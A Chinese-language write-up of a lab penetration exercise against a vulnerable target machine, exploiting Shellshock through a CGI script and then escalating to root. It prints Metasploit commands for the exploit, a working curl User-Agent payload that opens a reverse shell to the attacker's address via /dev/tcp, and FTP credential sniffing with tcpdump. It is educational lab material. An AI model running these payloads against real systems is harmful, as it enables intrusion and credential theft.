靶机:192.168.147.129
kali : 192.168.147.128
**** 每次公布靶机和攻击机是为了后面描述清楚,因为涉及到反转shell提权的脚本时,新手很容易混淆靶机和攻击机。通过不断的强化,各位看多了靶机渗透的文章后有些概念就不断强化牢固了。
今天要学的新技术是利用shellshock漏洞进行反向shell提权。Shellshock的原理是利用了Linux系统的Bash在导入环境变量函数时候的漏洞,系统启动Bash的时候,不但会导入这个函数,而且还会执行函数定义后面的命令。 在有些CGI脚本的设计中,数据是通过环境变量来传递的,这样就给了数据提供者利用Shellshock漏洞的机会。简单来说就是由于服务器的cgi脚本调用了bash命令,由于bash版本过低,攻击者把有害数据写入环境变量,传到服务器端,触发服务器运行Bash脚本,完成攻击。
那怎么发现这个漏洞呢?回溯到信息收集阶段的“成果”,我在使用用web目录爆破的过程中收集到了一些有用的信息。
因为存在CGI程序,自然想到了2014年的著名漏洞shellshock。这里插一点题外话,做渗透最主要的不是某项渗透技能掌握的多么好,而是对信息收集内容的敏感,就好像我们高中时代题海战术一样,题做多了自然见到题目就大概有一些思路,这在比赛时尤为重要。现在有些所谓的安全演练比赛和安全设备厂商的培训已经和网络安全的工作实际脱节,事先告诉了套路,然后再出一题给学员做,有些像小学生举一反三,稍微有点变化,学员们就没有任何思路,傻眼了,不知道怎么动手了。这样只能写写文章,清谈一下而已,对自己的成长和提升没有多大帮助。
这个漏洞可以使用MSF的exploit进行getshell,但是官网上要求不能用工具,我们也尽量不使用工具,过分依赖工具,对自己能力的提升也是阻碍。这里把MSF的脚本放出来,大家可以照着练一练。
msfconsole
msf5 > use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) > show options
msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set rhosts 192.168.147.129
msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set TARGETURI /cgi-bin/underworld/
msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) > show options
msf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) > exploit
下面我用脚本进行getshell。
开启一个终端运行:
nc -nvlp 4444
再开启一个终端运行:
curl -H 'User-Agent: () { :;}; /bin/bash -i >&/dev/tcp/192.168.147.128/4444 0>&1' http://192.168.147.129/cgi-bin/underworld
经过上面的操作后,我们得到了一个普通用户的权限,按照常规思路,需要进一步提权,直到拿下root!我们先做一些下一步渗透前的准备工作。看看当前靶机上有什么可利用的东西?kali上开启一个httpserver,靶机上面下载文件linuxprivchecker.py,这个是遍历系统(靶机)上的已经安装的、正在运行的程序和任务的脚本,python在渗透技术方面有很多便利。
查询的结果很庞杂,我把结果重定向到了文件中,并把文件拷贝到windows中使用文本编辑器检索有用信息。
把所有可疑的程序都百度一下,看看有没有公开的漏洞可利用。靶机上安装了软件exim4 4.89-2,正在运行的进程proftpd。这些是不是可用呢?还不知道,继续打探。我们学习另一个工具pspy,科普一下:“pspy是一种命令行工具,旨在无需根权限就可以窥探进程。它使您可以查看其他用户执行的命令,cron作业等。非常适合枚举CTF中的Linux系统。很好地向您的同事展示为什么在命令行中将秘密作为参数传递是一个坏主意。该工具从procfs扫描中收集信息。放置在文件系统选定部分上的Inotify观察程序将触发这些扫描,以捕获短暂的进程。它有几个版本。我们看一下靶机的系统版本,是64位X86的Linux。那就选
刚才用错账户了,再来一张图。渗透时忘记截图了,为了说明渗透思路,补充之。
这里重点提一下,这次我是用nc进行文件传递,国外大佬的技术真是牛!这个比python -m SimpleHTTP Server方便多了。以后又多了一个传文件的好办法。
从上图中可以看出ftpclient.py脚本正在运行,且UID=0,也就是说是脚本是以root权限运行。尝试访问ftpclient文件夹,发现权限不足。从脚本的命名来看,这个脚本的作用可能是向ftp服务发送数据。因为ftp协议是明文传输的,之前在查看linuxprivchecker脚本执行结果的时候发现靶机上已经安装了tcpdump,如果我们可以用这个工具来尝试抓取到ftp连接的数据,那么就可以得到用户名密码了。先看一下靶机有哪些网络接口。
靶机有两个接口,用哪个?查资料!
那我们就把命令行执行一下,为了能抓到有效数据,让子弹飞一会儿再收网。
tcpdump -i lo -w dump.pcap
至此,我们拿到了root权限。这个靶机的特点难度不大,这是对知道这个漏洞的人而言。我们学习渗透就是要能分析大佬们是如何想到这些思路的,打开思维,能把渗透真正的运用到实际中,指不定哪天你能把一个0Day的漏洞给拿下来,那你就名利双收了,谁说兴趣只是做摆设呢?感谢各位关注,谢谢。